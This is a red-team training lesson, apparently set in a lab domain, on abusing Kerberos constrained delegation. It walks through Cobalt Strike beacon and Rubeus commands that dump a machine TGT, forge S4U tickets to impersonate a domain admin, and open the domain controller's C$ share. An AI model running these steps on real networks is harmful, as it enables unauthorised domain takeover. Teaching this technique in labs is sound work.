# Constrained Delegation

Constrained delegation was later introduced with Windows Server 2003 as a safer means for services to perform Kerberos delegation. It aims to restrict the services to which the server can act on behalf of a user. It no longer allows the server to cache the TGTs of other users, but allows it to request a TGS for another user with its own TGT.

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![](https://files.cdn.thinkific.com/file_uploads/584845/images/4d5/4d0/242/constrained.png)

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In this case, SQL-2 can act on behalf of _any_ \*\*\*\* user to the _cifs_ service on DC-2. CIFS is very powerful, as it allows you to list file shares, upload and download files, and even interact with the Service Control Manager.

To find computers configured for constrained delegation, search for those whose `msds-allowedtodelegateto` attribute is not empty.

```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[
  {
    "dnshostname": "sql-2.dev.cyberbotic.io",
    "samaccountname": "SQL-2$",
    "msds-allowedtodelegateto": [
      "cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io",
      "cifs/dc-2.dev.cyberbotic.io",
      "cifs/DC-2",
      "cifs/dc-2.dev.cyberbotic.io/DEV",
      "cifs/DC-2/DEV"
    ]
  }
]
```

Constrained delegation can be configured on user accounts as well as computer accounts. Make sure you search for both.

To perform the delegation, we need the TGT of the principal (computer or user) trusted for delegation. The most direct way is to extract it with Rubeus `dump`:

```
beacon> run hostname
sql-2

beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
 --------------------------------------------------------------------------------------------------------------- 
 | LUID    | UserName                    | Service                                       | EndTime              |
 --------------------------------------------------------------------------------------------------------------- 
| 0x3e4    | sql-2$ @ DEV.CYBERBOTIC.IO  | krbtgt/DEV.CYBERBOTIC.IO                      | 9/6/2022 7:06:50 PM |

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

    ServiceName              :  krbtgt/DEV.CYBERBOTIC.IO
    ServiceRealm             :  DEV.CYBERBOTIC.IO
    UserName                 :  SQL-2$
    UserRealm                :  DEV.CYBERBOTIC.IO
    StartTime                :  9/6/2022 9:06:50 AM
    EndTime                  :  9/6/2022 7:06:50 PM
    RenewTill                :  9/13/2022 9:06:50 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  pj1tbiijFCGHkM6S58ShgxxPi8FvA1UB5liBqrSWPCg=
    Base64EncodedTicket   :

doIFpD[...]MuSU8=
```

You can also request one with Rubeus `asktgt` if you have NTLM or AES hashes.

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With the TGT, perform an S4U request to obtain a usable TGS for CIFS.

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /user:sql-2$ /ticket:doIFLD[...snip...]MuSU8= /nowrap

[*] Action: S4U

[*] Building S4U2self request for: 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIFnD[...]FMLTIk

[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io':

      doIGaD[...]ljLmlv
```

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Where:

* `/impersonateuser` is the user we want to impersonate - they should have local admin access on the target machine. nlamb is a domain admin which is required for accessing the domain controller.
* `/msdsspn` is the service principal name that SQL-2 is allowed to delegate to.
* `/user` is the principal allowed to perform the delegation.
* `/ticket` is the TGT for `/user`.

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This will perform an S4U2Self first and then an S4U2Proxy. It's this final S4U2Proxy ticket that we need.

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 5540
[+] Ticket successfully imported!
[+] LUID            : 0x3d3194

beacon> steal_token 5540

beacon> ls \\dc-2.dev.cyberbotic.io\c$

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 15:44:08   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 16:09:55   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 10:51:51   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     09/05/2022 17:17:48   ProgramData
          dir     08/15/2022 15:23:23   Recovery
          dir     08/16/2022 12:37:38   Shares
          dir     09/05/2022 12:03:43   System Volume Information
          dir     08/15/2022 15:24:39   Users
          dir     09/05/2022 17:09:56   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 1kb      fil     08/15/2022 16:16:13   dc-2.dev.cyberbotic.io_sub-ca.req
 12kb     fil     09/05/2022 07:25:58   DumpStack.log
 12kb     fil     09/06/2022 09:04:41   DumpStack.log.tmp
 384mb    fil     09/06/2022 09:04:41   pagefile.sys
```

Make sure to always use the FQDN. Otherwise, you will see 1326 errors.\
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```
beacon> ls \\dc-2\c$
[-] could not open \\dc-2\c$\*: 1326 - ERROR_LOGON_FAILURE
```
